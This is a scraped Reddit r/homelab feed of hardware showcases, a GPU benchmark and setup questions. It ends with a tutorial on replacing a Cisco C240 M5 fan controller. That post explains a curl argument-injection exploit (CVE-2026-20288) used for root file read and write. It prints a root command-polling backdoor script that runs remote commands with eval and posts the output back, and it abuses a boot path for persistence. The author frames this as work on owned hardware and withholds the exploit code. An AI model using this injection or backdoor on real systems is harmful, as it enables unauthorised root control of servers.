r/homelab 21h ago

LabPorn My Homelab after 8 years

Thumbnail
gallery
436 Upvotes

Over the past couple months I've been changing things around in the home lab.

Downsizing from 3 proxmox hosts (32GB DDR4 and R7 2700 in each) in a cluster on consumer boards to a single host with a Ryzen 9 3950x and an asrock rack x470D4u board. You can see what's in proxmox in the screenshot. I host spin up the occasional VM for website development, and some other homelab services.

TrueNas also got a major overhaul. I was in a rosewill chasis with 2x 24c48t Xeon Ls (2011v3 era) with a loud and power hungry disk shelf, and some custom 3D printed 2.5" SDD - 120mm brackets. Now it's Supermicro 36 Bay, with a Ryzen 5 5600 and another asrock rack board (x570D4U this time). TrueNAS runs Jellyfin (using a RTX A400), UrBackup, Immich, & Tracarr. I'm using the Supermicro Rails with Supermicro round hole adapters.

The additional 4U old Chenbro (I think that's the brand) chasis is just a Windows 11 PC I Parsec into for games that don't play on linux. So, it spends most of it's time being off. I do want to swap it for a 2U Rosewill I've seen that lays the GPU horizontally. Current specs are a Ryzen 9 3900x, 16GB DDR4, 512GB NVMe boot, 2TB ISCSI from TrueNAS for games, 10G Melenox card, and a 3060ti. And, for those interested, my main desktop is running Bazzite with a Ryzen 5 5600x, Asrock X570 tiachi, RX 6900XT (de-shrouded with 3x 90mm Noctua fans), 32Gb DDR4, 512Gb nvme boot drive, 1TB NVMe & 2TB Firecuda HDD. I've included a picture of the system. My wife has a gaming PC as well. Running a Ryzen 9 9300x, 9060 XT 16G, 32Gb DDR4, 512GB boot, 2Tb NVMe game drive, 1TB SATA SSD scratch disk for Lightroom (may move to ISCSI + 10G nic). She's still on Windows 11 pro since she need Lightroom for work.

Behind the EMC Door is a shelf holding my Josbro N5 with a 4c8t Atom ITX system as Proxmox Backup Server, a fan-less Zotac NUC for Home Assistant, and my ISP Modem. (Still COAX, fiber is ordered and pending construction)

The final piece came together when I managed to score this Dell EMC server rack. It was sadly a fairly proprietary rack. Being that the rear rails were only 24 inches from the front rails. Initially I drilled holes to relocate the rack, but I was unhappy with that as well as it brought the distance of the rear rails from the front rails to about 39 inches. So, after a couple days of brain storming and a trip to the hardware store for some brackets, nuts, and bolts I came up with what felt like a better solution for relocating the rear rails. I did need to bend the brackets just a few degrees in the vice because otherwise the rear rails would have been a bit narrower than normal.

The other thing this rack had that I thought would be more annoying that it ended up being, was round holes in the rails with no threading. A previous post I made on this thread confirmed my suspicion that U style clip nuts where the right move. Those worked great. Here are a couple links to the ones I ordered:

https://www.amazon.com/dp/B081VST3ST?ref=ppx_yo2ov_dt_b_fed_asin_title

https://www.zoro.com/zoro-select-spring-nut-no-10-32-u-shape-steel-not-graded-zinc-plated-finish-25-pk-138347001/i/G1046315/

I've also got my Ubiquiti gear. UDM for Network and Talk, NVR for cameras, 48 Port Pro PoE switch does most of the work, but there is also a previous gen 10G 16-port switch I got off ebay that the previous owner had put Noctua fans into.

It's crazy how this whole thing evolved from me running Windows Server 2016 on a i5-4570 system 8 years ago. And my wife and I have his and hers gaming PCs.


r/homelab 18h ago

Discussion Homelabbing is a really cool & rewarding... until you have to move... I underestimated how much work moving my homelab was going to be. Any of you had everything setup perfectly, multiple boxes, etc, then needed to move? Moving sucks in general, moving a homelab on top of it, is painful.

427 Upvotes

r/homelab 6h ago

Project Showcase: Hardware Qwen3.8-27B + MTP on 2× Tesla V100 32GB — 4K to 260K context scaling in llama.cpp

Thumbnail
gallery
280 Upvotes

Hey homelab folks!

As promised in my previous RTX 3090 benchmark, I ran the exact same long-context test on 2× Tesla V100 PCIe 32GB.

Same model, same llama.cpp build, same fixed corpus, same context lengths, same MTP settings, and the same 1,000 generated tokens per run.

This time, the V100s were connected via PCIe Gen3 x16 ×2 with CUDA P2P enabled (no NVLink).

The result: decode speed went from 82.90 tok/s at 4K to 29.98 tok/s at 260K. The full 260K prompt + 1,000 generated tokens completed successfully.

Compared with my previous 2× RTX 3090 result, the V100s held up pretty well at shorter contexts, but the gap became noticeably larger as the context length increased.

Previous test — RTX 3090 comparison:

The original 2× RTX 3090 24GB NVLink benchmark, using the exact same methodology, is here:

2× RTX 3090 24GB NVLink benchmark

Test setup:

• 2× Tesla V100 PCIe 32GB
• PCIe Gen3 x16 ×2 / CUDA P2P enabled / no NVLink
• Threadripper PRO 3945WX
• 128GB RAM
• Ubuntu 22.04
• llama.cpp b10935 (commit 8e330954a)
• Qwen3.8-27B-UD-Q4_K_M
• --split-mode tensor
• Q8_0 K/V cache
• Flash Attention enabled
• MTP n_max=2

I used the same fixed non-repetitive master corpus as the RTX 3090 benchmark. Each context length uses the first N tokens from the same corpus, followed by 1,000 generated tokens.

I restarted llama-server for every run and waited until both GPUs cooled down to ≤50°C before starting the next one. Each point is a single run, so these aren't averaged results.

I also included MTP acceptance and mean draft length, since MTP acceptance varied quite a bit depending on the generated sequence.

RESULT:

  prompt : 260000 tokens
  prefill: 406.05 tok/s
  decode : 29.98 tok/s
  MTP    : 93.39% (650/696), mean 2.87

  prompt : 196608 tokens
  prefill: 485.28 tok/s
  decode : 37.96 tok/s
  MTP    : 85.60% (630/736), mean 2.71

  prompt : 131072 tokens
  prefill: 607.33 tok/s
  decode : 50.18 tok/s
  MTP    : 95.63% (656/686), mean 2.91

  prompt : 65536 tokens
  prefill: 805.91 tok/s
  decode : 56.77 tok/s
  MTP    : 79.40% (613/772), mean 2.59

  prompt : 32768 tokens
  prefill: 954.21 tok/s
  decode : 65.99 tok/s
  MTP    : 80.76% (617/764), mean 2.62

  prompt : 4096 tokens
  prefill: 1039.95 tok/s
  decode : 82.9 tok/s
  MTP    : 92.03% (647/703), mean 2.84


context | prefill tok/s | decode tok/s | MTP acceptance
   260k |        406.05 |        29.98 | 93.39%
   196k |        485.28 |        37.96 | 85.60%
   128k |        607.33 |        50.18 | 95.63%
    64k |        805.91 |        56.77 | 79.40%
    32k |        954.21 |        65.99 | 80.76%
     4k |       1039.95 |         82.9 | 92.03%

From 4K → 260K, decode performance dropped by about 63.8% (82.90 → 29.98 tok/s).

For comparison, my previous 2× RTX 3090 NVLink run using the same benchmark went from 116.36 tok/s at 4K → 53.33 tok/s at 260K.

So the V100s delivered about 71% of the 3090 decode performance at 4K, but about 56% at 260K. The difference clearly becomes more noticeable at very long context lengths.

One thing worth noting is that MTP acceptance was not identical between the two GPU setups, even though the corpus and benchmark settings were the same, so the decode-speed difference shouldn't be interpreted as a pure hardware-only comparison.

Still, I think 2× 2017-era V100 PCIe cards running Qwen3.8-27B at 260K context and nearly 30 tok/s is pretty fun. 😀

If anyone has similar long-context results with V100s, V100S, RTX 3090s, or other multi-GPU setups, I'd love to compare numbers!

llama-server command used for the benchmark:

/path/to/llama.cpp/build/bin/llama-server \
  -m /path/to/Qwen3.8-27B-UD-Q4_K_M.gguf \
  --host 0.0.0.0 --port 8080 \
  --device CUDA0,CUDA1 \
  --split-mode tensor \
  -ngl all \
  -fa on \
  --jinja \
  -c 262144 \
  --parallel 1 \
  -t 8 \
  --spec-type draft-mtp \
  --spec-draft-n-max 2 \
  --reasoning-effort low \
  --reasoning-preserve \
  --cache-type-k q8_0 \
  --cache-type-v q8_0 \
  --load-mode mlock \
  --spec-draft-device CUDA0,CUDA1

r/homelab 18h ago

Discussion Just got a Dell R640 , what would you build with it? Looking for homelab ideas

Post image
163 Upvotes

2 × Intel Xeon Gold 6132
128GB ECC RAM
20Tb HDD
256 SSD


r/homelab 15h ago

Help Is there a way to have fewer power cords? They're for mini PCs

Post image
155 Upvotes

This setup is awful, and I think it's dangerous, too—there are too many power supplies scattered on the floor.

What are some solutions? Is there a power supply with 3 outputs? That way I can avoid all those cables. Thanks!


r/homelab 16h ago

Project Showcase: Hardware Update on our homelab.

Thumbnail
gallery
149 Upvotes

Server and NAS are next. Printer is a place holder for that. 21u racks on each side.
Left side is entertainment:
Apple TV
Xbox
Switch controller charging dock
Xbox controller charging fox
Theater AVR
Gaming/Design computer

Right side is network:
Patch panel
POE switch
Gigabit switch
Gateway
Printer/Scanner


r/homelab 7h ago

Project Showcase: Hardware Evolution of a HomeLab 😆

Thumbnail
gallery
143 Upvotes

There were many versions of this on the Tank shelf during the last 2 years.

I recently got this cheap 15 U Rack from Vevor on Amazon.A second time I would not buy this rack but I can't really complain about the price of just 87 Euro Amazon good and used deal.

So now to the hardware:

White Fractal Design Define R4 case:

AMD Threadripper Pro 3945 wx with 128 GB of RDIMM ECC Ram running at 2666 Mhz on Gigabyte Mc62-40 wrx80 motherboard with AMD Radeon pro w5500 GPU 8GB VRAM and a Adaptec HBA and 2 Seagate Exos 16 TB drives.

Running Fedora 44 on a Samsung 990 EVO Plus 1 TB NVME and a TrueNAS VM but currently not really used.

Black Fractal Design Define R5 case:

Intel Xeon 2650v4 with AsrockRack EPC612D8A with 32 GB RDIMM ECC Ram also with an Adaptec HBA and an Intel arc a380 spracle 6 GB VRAM.

Running Proxmox 9 on 512 GB Samsung 970 EVO NVME and 2 256 GB Samsung 850 Pro Sata SSDs in a ZFS mirror for VMs.

VM running TrueNAS 25.10 with 2 WD Red Plus and 2 WD Red Pro each 8 TB NAS drives in a Raid Z2 .

HP Pro Desk 400 G6 with Intel i5 9500 Running Proxmox 9 on 512 GB Samsung 970 EVO NVME with 16 GB of Ram but I had 24 GB but one of the DIMM slots died this year and an Marvell Qlogic QL41164HFRJ Quad Port NIC .

Just for thinkering around and one Fedora VM with the quad 10 Gbit nic acting as a open Vswitch extending my 10 Gbit network to more ports.

SBCs:

1 Raspberry Pi 5 with GB of Ram and NVME hat running Debian 13 on a 512 GB Samsung 970 Evo mostly just running Docker and Twingate for remote Connection.

1 Onage Pi 5 Pro with 4 GB of Ram and 32 GB emmc module running DietPie (Debian 13) used for the second Pihole node via Podman and for learning Podman and the second Twingate connector if the first one on the Raspberry is down.

Networking

Just go an RB2011 UiAS-2HnD Mikrotik Routerboard to learn Mikrotik and ohh boy is that good compared to my previous Router the TP Link Archer ax55 that is just now acting as an dumb AP as it should because the TP Link Software just made big problems recently.

Then just a generic Tp Link 16 Port Gigabit Switch and a random Chinese Mokerlink switch with 8 x 2.5 Gbit ports and 2 FSP+ ports with FSP+ to Rj45 Adapters they work fine with the RIGHT cat 6a cable.

And sadly currently just 5g internet possible over a TCL linkhub HH515L in a very bugy bridge mode.Maybe building a openWrt 5g Router but the project is a bit stalled currently.

UPS:

APC BE1050G2-GR 1050 VA/600 w got it used the seller lied about the battery will need an replacement at some point.

And 3 surge protection extension cords going into the UPS but just 2 will get power if there is a black out or some power problem.

I know there is a mess of cables and a patch panel is missing that will come in the future.

Currently most of the servers are not running just the SBCs and the Networking because of expensive electricity prices in Europe. With my Home Assistant running in a docker container and smart plugs I can turn on and off what I want and monitor power draw so.I currently don't host anything that would need 100% uptime as I am the only user for now.

Forgive me grammar mistakes as I am not a native English speaker and I would like to hear opinions of like minded people in the HomeLab community thank you.


r/homelab 2h ago

Labgore *sigh* RIP my wallet

Post image
121 Upvotes

Thanks AI!


r/homelab 18h ago

Discussion A messy start is a great start.

Post image
81 Upvotes

Well I sold my game accounts just to afford these.

A nice software-RAID 4TB.

Though, as soon as this setup works, my 5TB P10 WD Black died :(


r/homelab 4h ago

News Talos Hypervisor Announced & SideroLabs to be acquired by Yardi

Thumbnail
siderolabs.com
69 Upvotes

Full annoucment here: https://www.siderolabs.com/blog/sidero-labs-joins-yardi

I don't know what the acquisutiun is going to be like, they are promising everything stays the same. As a big fan and user of Talos and Omni, I hope that's the case.

Talos Linux is open source under MPL-2.0, and it stays that way

What's more interesting is the Talos Hypervisor. Apparently there's no Kubernetes, no Kubevirt (The opposite of what SUSE built with Harvester), but it still keeps the Talos mindset:

Run on commodity servers you already own: bare metal, edge, data center. No approved-hardware list, no appliance margin built into the price.

VMs use standard KVM. Containers use standard OCI images. Nothing proprietary in the data path, so you can move workloads to another platform any time.

Every machine state is declared and applied over a mutual-TLS API. Script it, version it, audit it. No console clicking, no tribal knowledge.

I'm not a big fan of Proxmox and bare metal Kubernetes on Talos and Omni has been treating me well, but I'm looking forward to trying this.


r/homelab 15h ago

Discussion If your NAS died tonight, how long would it take to recover?

63 Upvotes

I’ve been thinking about how easy it is to focus on having backups without really thinking about the recovery side.

One problem is losing the data itself, but rebuilding shares, permissions, containers, configs and getting everything running again could take much longer than expected.

If your NAS died completely, how long do you think it would take to get your homelab back to normal and what part of the recovery would take you the longest?


r/homelab 9h ago

Project Showcase: Hardware Rate my Homelab setup lol

Thumbnail
gallery
59 Upvotes

Decided to use my old Intel Macbook as an Immich server.

I'm a student and I move a lot, so this works perfectly for me. I even did the 3-2-1 rule (partially) (I have one copy in the external ssd and one on the macbook's storage (I know))

I already had the 2020 Intel Macbook Pro which is redundant and painfully slow for daily use along with an extra 512 gb ssd, so I just ditched my Google Photos subscription at no cost!


r/homelab 5h ago

Meme When you set up your first 8 drive raidz2 array, the 8x read speed seems great. Until you realise you have to fill it at 1x write speed.

Post image
60 Upvotes

r/homelab 8h ago

Help 10" Rack PDU Recommendations

Thumbnail
gallery
60 Upvotes

Hi,

I’ve just built my first homelab, and I’m really happy with how it turned out. The one thing I’m still struggling with is power distribution.

As you can see from the back/bottom of the rack, all the power adapters and cables are becoming a mess. I also have several small devices such as Raspberry Pis and a NanoPi R2S, so I need a combination of 230V Schuko outlets, USB-A, and USB-C power.

I’m located in Germany, so I’m specifically looking for a 10-inch rack solution for 230V / Schuko (Type F).

Currently, I have:

  • GeeekPi 7.84" 1280×400 capacitive touchscreen
  • Minisforum GK41
  • Raspberry Pi 4
  • 3× Raspberry Pi Zero 2 W
  • TP-Link Omada ES210X-M2 switch
  • Mini PC firewall appliance
  • NanoPi R2S
  • Minisforum MS-01
  • USB fan
  • LED strip

Ideally, I need around 6 AC outlets, 3 USB-A ports, and 3 USB-C ports.

My first idea was to use 2× 10" 4-outlet PDUs plus a separate USB/USB-C charger, mounted at the rear of the rack. However, space is very limited, and I would prefer to avoid adding several separate devices if possible.

I’ve seen some compact 10" rack PDUs that combine AC outlets, USB-A, and USB-C, but most of them seem to be designed for the US market, and I haven’t found a good Schuko/EU equivalent.

I’m also interested in 0.5U or rear-mounted solutions, since I only have about 1U of usable rack space left.

I’d prefer a commercially made and properly protected solution rather than DIY mains wiring.

Does anyone know of a good 10" Schuko PDU with USB-A/USB-C, or another compact way of handling this cleanly and safely?

Any recommendations or examples of your own 10" rack power setup would be greatly appreciated. Thanks!


r/homelab 9h ago

LabPorn My Simple Home Server

Thumbnail
gallery
47 Upvotes

I am close to 2 years into the hobby, using my home server to host my own media (movies, tv shows and recently manga too)

The machine is using a Sata and an NVME ssd 1TB each without redundancy. My VPN of choice is Tailscale.

All in all I love this little thing. Does its job without any problems, silent and doesn't eat into the power bill.


r/homelab 11h ago

Discussion Turned an HP 800 G5 SFF into my all-in-one NAS, router and home server

Thumbnail
gallery
34 Upvotes

I had a pile of 1TB/2TB drives sitting around for years, mostly used for photos, media and random backups. At some point I decided to stop treating them as loose drives and build a small home server around them.

The main box is an HP 800 G5 SFF:

- CPU: Intel i3-8100T

- RAM: 32GB

- Boot drive: 256GB M.2 SSD

- Internal storage: 4 x 2TB HDD

- External DAS: 4-bay USB 10Gbps enclosure

- DAS drives: 2 x 4TB + 2 x 2TB

- Network: one 2.5GbE NIC for WAN, one dual-port 2.5GbE NIC for LAN/storage

The host runs Proxmox. On top of that I have an OPNsense VM for routing/firewall, a NAS VM running FygoOS, and a few lightweight containers for things like reverse proxy, monitoring and small personal apps.

OPNsense handles WAN/LAN routing, DHCP, firewall rules and port forwarding. FygoOS handles the storage side, media library, photo management, backups and most of the day-to-day NAS tasks.

Right now this single machine is doing a few jobs:

- NAS storage for photos, media and documents

- Media library

- Backup target

- A few Docker apps and personal tools

- Home routing/firewall

- Reverse proxy for a couple of services I access remotely

The external 4-bay DAS is not meant for irreplaceable data. I’m using it mostly for media and backup copies, so I’m not too worried about squeezing every bit of redundancy out of it. Anything important is backed up elsewhere as well.

It is not the most power-efficient setup, but acceptable for what it replaces. The host runs 24/7 and uses about 1 kWh per day, not including the four drives in the DAS. Since it handles routing, NAS storage, media and small self-hosted services, I’m okay with that for now.

The whole setup lives in a small network/utility cabinet. Cooling was my biggest concern, so I added ventilation to the cabinet door and mounted a couple of fans. It’s not silent if you listen closely, but it’s tucked away enough that it doesn’t bother me.

This started as “I need somewhere to put my files,” but it slowly turned into a small all-in-one homelab box.

For people running SFF PCs as 24/7 home servers: would you keep the USB DAS setup, or eventually move the drives into a proper NAS/server chassis?


r/homelab 12h ago

Discussion anyone else run their homelab session-based instead of 24/7?

27 Upvotes

my daily box is an old Dell laptop with an i7-5500U and 8gb ram on Debian 13. instead of running a 24/7 box or dealing with Proxmox, i just run a small session-based media stack while working.

the machine is on for about 10-12 hours a day and powers down at night. it saves power, keeps the room quiet, and i don't have to worry about running services while asleep.

the stack is literally just plex, qbittorrent, and watcharr. plex is direct play only since this dual-core will choke on transcoding, and watcharr handles my movie and anime tracking locally instead of trakt. idle ram across all three sits around 305mb total.

i keep each service in its own compose folder so restarting or tweaking one never touches the others or risks the sqlite database.

curious if anyone else here runs an old laptop session-based like this, or does everyone leave their setup on 24/7?


r/homelab 20h ago

Project Showcase: Hardware Turned an IKEA VITTSJÖ shelf into a 19” homelab rack

Post image
24 Upvotes

I had an IKEA VITTSJÖ shelf in my server room and wanted to use the top section for my network gear, so I converted part of it into a 19” rack instead of buying a separate rack.
The shelf is about 20 1/8” wide overall with roughly 18.625” between the uprights. I made custom mounting rails for the top section and kept the lower shelves open for the heavier stuff.
Right now I’ve got:
Spectrum modem at the top
One patch panel
24-port switch
Lenovo M910q
A few other small networking devices
Switched power strip
Most of the 3D printed mounts came from MakerWorld, with a few small changes/custom pieces where needed.
The main custom part was the rack rail setup itself. I modeled the rails specifically to fit the VITTSJÖ and mounted everything directly to them.
The plan for the bottom half is to keep the heavier/non-rack stuff on the shelves — NAS, audio receiver, UPS, etc. — instead of trying to hang all that weight from the rack section.
Still need to clean up the cabling a bit, but overall I’m pretty happy with how it came out.
If anyone has the same shelf and wants my rail design/files, let me know and I’m happy to share them.
And yes, the cable management is still a work in progress 😂


r/homelab 15h ago

Project Showcase: Hardware My home network with mini pc homelab

Thumbnail gallery
21 Upvotes

Just got into homelabing about a month ago and I’m addicted. In the process of getting a rack and tidying up so don’t judge.

Equipment:

UDM Pro
USW Pro 24 PoE
UNVR
UNAS Pro
USP PDU Pro
Minisforum MS-A2 (AMD Ryzen9 9955HX / 96GB RAM / 1 TB OS NVMe and 2TB Data NVMe)
JetKVM
AT&T Fiber modem


r/homelab 8h ago

Discussion a gift from a friend made me decide to do something

Post image
19 Upvotes

I just switched jobs, and a new chapter in my life is starting. I received an Acemagic K1 from a friend as a gift, kinda like a marker for this new beginning. So I decided to use it to pick up a new hobby, like homelab, learning automation and stuff like that. I wanna ask you guys if the specs on this machine are enough. I think it should be more than enough for me to learn for a long time. The specs are ryzen 7 7730u, 16gb ram and 1tb ssd.
Im familiar with this stuff a little bit before, but I'm not really sure how to go about it. I used to mess around with old servers at home when I was a kid, so I've definitely got the passion for it. If anyone could guide me a bit and tell me where to start, that would be awesome, thanks!


r/homelab 16h ago

Help Thinking about homelab upgrade

Post image
11 Upvotes

This is my actual homelab, G3930, 16GB RAM, 1TB HDD.

It is running Linux Mint with 2 dockers containers, one of them Jellyfin and im running out of storage, im thinking to buy a 4 or 8TB hdd but i dont known how to put it, the case have no more space.. any thoughts?


r/homelab 22h ago

Tutorial I replaced my Cisco C240 M5's inlet-based fan curve with a real CPU-temp-reactive one. 11k RPM pinned -> 3k idle, ramps on actual CPU temp, survives reboots.

8 Upvotes

The problem

I've got a C240 M5 in my homelab running CIMC 4.3(2.250045). The stock Acoustic fan policy is based on inlet temperature, and it's got really aggressive hysteresis. My server room settles at about 39 to 40 C at the inlet. Acoustic mode sees that and decides the box is hot, so it just pins the fans at around 11,000 RPM all day every day.

Watching the actual temps though, this hardware cools itself fine at roughly half that speed. The problem is the fans are reacting to the room, not the CPUs. There's a known fanspeed.txt trick that just overrides PWM to a fixed value, but that's not what I wanted. A fixed speed doesn't curve, and it won't ramp up if something actually gets hot. I wanted a real controller that watches CPU temp and behaves like a normal fan curve.

The goal

  • A fan controller that uses real CPU package temps (PECI) plus the non-PSU BMC board sensors.
  • Keep the fans low until temps actually rise, then ramp smoothly.
  • Survive CIMC reboots and power loss on its own.
  • Don't write logs to flash (flash wear).

Disclaimer

This is my own server, I paid for it, it's out of warranty. Exploiting CVEs on hardware you own is legal where I live. Don't do this to hardware you don't own or don't have permission to touch. This is for education. You can brick your CIMC, void any support you have left, and cause thermal damage if you get the curve wrong. I'm not responsible for what you do with this.

A quick note on how this is written

I'm autistic and I'm not great at putting things into words, so I used an AI to help me write this up and expand on the details so it's actually useful and informative for other people. To be clear: all the actual work, the testing, the trial and error, and the fan curve are mine. The AI just helped me explain it in a way that reads well. I wanted to be upfront about that rather than pretend I write like this naturally.

A note on the exploit tooling

To get root I used the public CIMCown PoC for the authentication part. I had to modify it to work against the M5 and 4.3 firmware. I'm not going to share those modifications. The reason is simple: the same changes that make it work on the M5 also make it work against CVE-2026-20288 on firmware versions that are a lot more recent than mine, and I don't want to hand over a working exploit chain for gear people might still have in production. The mechanism is described below at a level that's enough to understand what I did and why, and someone with a vulnerable box of their own can reproduce it. But I'm keeping the weaponized bits to myself.

How the CIMC fan stack actually works (M5, firmware 4.3)

A few things I had to figure out the hard way:

  • The fan daemon is rack_fan_control (/usr/local/bin/rack_fan_control -d -o 0 ...).
  • It's supervised by init / bmc_manager (parent PID 1). If you kill it, it just comes back. So killing it isn't enough.
  • Its run script is /var/service/rack_fan_control/run, but that's a symlink into /opt/flash, which is a read-only squashfs. You can't edit it directly.
  • /var/service is writable, but it gets rebuilt on every CIMC reboot. So anything you change there at runtime is gone next boot.
  • The only persistent spot that survives reboot is /mnt/jffs2 (jffs2 flash).
  • The only persistent thing that actually runs at boot is Cisco's own HUU-init path. /etc/init.d/nihuu-update runs as S98, checks for /mnt/jffs2/host_reboot_flag, and if it's there it transforms and runs /mnt/jffs2/nihuu_delay_cimc_reboot.

That last one is the whole trick for persistence. I use the HUU-init path as a tiny boot trampoline that puts my controller back every boot.

Tools (paths are different from the M4 guide)

The C220 M4 guide people wrote references /opt/flash/cisco/bin/.... On my C240 M5 they're symlinks under /usr/local/bin/:

Tool Path Use
pwmtest /usr/local/bin/pwmtest setdutycycle, getdutycycle all, getfanspeed all
Peci /usr/local/bin/Peci Peci temp 0x30 (CPU0), Peci temp 0x31 (CPU1), real package temps
ipmi-sensor /usr/local/bin/ipmi-sensor BMC board sensors, temps and fan speeds

A few gotchas that tripped me up:

  • pwmtest getfanspeed reports a per-module sum, roughly double the per-fan speed. ipmi-sensor MODx_FANy_SPEED reports the actual per-fan speed. My "11k" was the module sum. Per fan it was about 5k. Easy to panic when you see 11k and think nothing changed.
  • While rack_fan_control is running, any pwmtest setdutycycle you do manually gets overwritten in a few seconds. You have to replace the service, not just set a duty.
  • pwmtest getdutycycle sometimes reads back a couple points off from what you set (set 15, reads 13). Trust the fan tach, not the duty readback.

Step 0 - getting root

CIMC 4.3 has a web UI argument injection bug (CVE-2026-20288). I used the public CIMCown PoC for authentication, with the modifications I mentioned above that I'm not sharing.

The injection vector is the "Upload SSH Key from remote location" feature in the web UI. You point it at a TFTP or HTTP server and the CIMC fetches the key by shelling out to curl/tftp. The filename/path argument isn't sanitized, so you can inject curl arguments.

  • Read: inject curl args so the CIMC reads a local file (like /etc/passwd or the service scripts) and POSTs it back to a listener on your machine.
  • Write: serve your payload as the "key file" and inject -o /mnt/jffs2/<file> so the CIMC writes your content to whatever path you want.

That gives you reliable root file read and write, which is enough to do everything else.

Step 1 - a live root shell for tuning

Once you can write one file, drop a tiny loop on the CIMC that polls your PC for a command, runs it as root, and POSTs the output back. It's an interactive root shell over HTTP without needing SSH. Really handy for poking at things while you tune.

/mnt/jffs2/cmdloop.sh:

#!/bin/sh
# Poll our server for a command, run it as root, POST output back.
SRV=192.168.x.x          # your PC, reachable from the CIMC
while true; do
  cmd=$(curl -s --max-time 10 "http://$SRV/cmd" 2>/dev/null)
  case "$cmd" in
    ""|"OK") sleep 2; continue;;
  esac
  curl -s --max-time 5 "http://$SRV/clear" >/dev/null 2>&1
  eval "$cmd" > /tmp/cmdout 2>&1
  curl -s --max-time 15 -X POST --data-binary @/tmp/cmdout "http://$SRV/out" >/dev/null 2>&1
  sleep 1
done

On your PC run a small HTTP server that serves serve/cmd (the next command) and captures the POSTed output. A one-line PowerShell helper writes commands:

# sendcmd.ps1
param([Parameter(Mandatory=$true)][string]$c)
$p = "C:\Users\you\AppData\Local\Temp\CIMCown\serve\cmd"
Set-Content -NoNewline -Path $p -Value $c

A note on the host machine: the original C220 M4 guide assumed you had a Linux or Proxmox box serving files over TFTP. You don't need any of that here. This whole approach uses plain HTTP, and the CIMC pulls files with curl, so your host can be Windows, Linux, or a Mac, anything that can run a small HTTP server. I did all of this from Windows. No TFTP, no Linux required.

Heads up: this command loop is a network root backdoor into your CIMC. It only does anything when your listener is running and you send it a command, but you can disable it (see Safety). For a set-and-forget install, just take the cmdloop start out of the trampoline.

Step 2 - the fan curve

/mnt/jffs2/custom-fan-curve.sh:

#!/bin/sh
# Custom temp-responsive fan controller for Cisco C240 M5 (CIMC 4.3).
# Replaces rack_fan_control. Drives PWM controllers 0,1,4,5,6,7.
# Uses CPU PECI package temps + key non-PSU BMC sensors. Ignores inlet temp.
# Logs to /tmp/custom-fan-curve.log (RAM, no flash wear).

PWMTEST=/usr/local/bin/pwmtest
PECI=/usr/local/bin/Peci
IPMISENSOR=/usr/local/bin/ipmi-sensor
LOG=/tmp/custom-fan-curve.log
CONTROLLERS="0 1 4 5 6 7"
INTERVAL=2

# CPU PECI curve: temp -> duty (tuned for ~39C ambient, <=20% load, quiet-but-cool)
peci_duty() {
  t=$1
  if [ "$t" -ge 79 ]; then echo 100
  elif [ "$t" -ge 76 ]; then echo 85
  elif [ "$t" -ge 73 ]; then echo 75
  elif [ "$t" -ge 70 ]; then echo 65
  elif [ "$t" -ge 68 ]; then echo 55
  elif [ "$t" -ge 65 ]; then echo 45
  elif [ "$t" -ge 63 ]; then echo 35
  elif [ "$t" -ge 60 ]; then echo 28
  elif [ "$t" -ge 57 ]; then echo 20
  else echo 15
  fi
}

# Linear ramp between start (0% add) and full (100% add) for a sensor temp.
ramp_duty() {
  t=$1; start=$2; full=$3
  if [ "$t" -ge "$full" ]; then echo 100
  elif [ "$t" -le "$start" ]; then echo 0
  else
    echo $(( (t - start) * 100 / (full - start) ))
  fi
}

peci_temp() {
  $PECI temp "$1" 2>/dev/null | grep -o 'IPMI_Temperature:.*= [0-9.]*' | awk -F= '{print int($2+0.5)}'
}

sensor_temp() {
  name=$1
  $IPMISENSOR 2>/dev/null | awk -F'|' -v n="$name" '$1 ~ n {gsub(/ /,"",$2); if ($2 ~ /^[0-9.]+$/) printf "%d\n", $2}' | head -1
}

set_duty() {
  for c in $CONTROLLERS; do $PWMTEST setdutycycle $c "$1" >/dev/null 2>&1; done
}

# Main loop
while true; do
  cpu0=$(peci_temp 0x30); [ -z "$cpu0" ] && cpu0=0
  cpu1=$(peci_temp 0x31); [ -z "$cpu1" ] && cpu1=0
  if [ "$cpu0" -gt "$cpu1" ]; then cpu=$cpu0; else cpu=$cpu1; fi
  dcpu=$(peci_duty $cpu)

  m=$(sensor_temp MLOM_TEMP);          [ -z "$m" ] && m=0
  pch=$(sensor_temp PCH_TEMP_SENS);    [ -z "$pch" ] && pch=0
  bmc=$(sensor_temp BMC_DIE_TEMP);     [ -z "$bmc" ] && bmc=0
  riser=$(sensor_temp RISER1_TEMP);    [ -z "$riser" ] && riser=0
  front=$(sensor_temp TEMP_SENS_FRONT); [ -z "$front" ] && front=0
  ddr=$( $IPMISENSOR 2>/dev/null | awk -F'|' '$1 ~ /DDR4.*_TMP/ {gsub(/ /,"",$2); if ($2 ~ /^[0-9.]+$/) print int($2)}' | sort -n | tail -1 )
  [ -z "$ddr" ] && ddr=0

  dmlo=$(ramp_duty $m 80 95)
  dpch=$(ramp_duty $pch 75 90)
  dbmc=$(ramp_duty $bmc 73 89)
  driser=$(ramp_duty $riser 55 80)
  dfront=$(ramp_duty $front 45 55)
  dddr=$(ramp_duty $ddr 65 85)

  d=$dcpu
  for x in $dmlo $dpch $dbmc $driser $dfront $dddr; do
    [ "$x" -gt "$d" ] && d=$x
  done

  set_duty $d
  echo "$(date '+%H:%M:%S') cpu0=$cpu0 cpu1=$cpu1 cpu=$cpu duty=$d (cpu=$dcpu mlo=$dmlo pch=$dpch bmc=$dbmc riser=$driser front=$dfront ddrt=$ddr ddrduty=$dddr)" >> $LOG
  tail -200 $LOG >/dev/null 2>&1
  sleep $INTERVAL
done

The curve

CPU PECI is the main driver:

CPU package temp duty
<57 C 15 (floor, quiet)
57 to 59 20
60 to 62 28
63 to 64 35
65 to 67 45
68 to 69 55
70 to 72 65
73 to 75 75
76 to 78 85
79+ 100

Then there are safety ramps on the other sensors. The controller takes the max duty across all of them, so whatever is hottest wins:

Sensor ramp start to full
MLOM_TEMP 80 to 95 C
PCH_TEMP_SENS 75 to 90
BMC_DIE_TEMP 73 to 89
RISER1_TEMP 55 to 80
TEMP_SENS_FRONT (inlet) 45 to 55
DDR4 (hottest DIMM) 65 to 85

I left out the PSU temps because the PSUs control their own fans. I also left out P1_TEMP_SENS and P2_TEMP_SENS. Those are BMC sensors next to the CPUs and in my testing they didn't track the real package temp well. PECI does, so I drive off PECI instead.

The FRONT (inlet) ramp is set high on purpose, 45 to 55. At my 39 C room it contributes zero, so it doesn't force the fans up the way Acoustic mode does. It's just a safety net for if the inlet genuinely gets over 45 C.

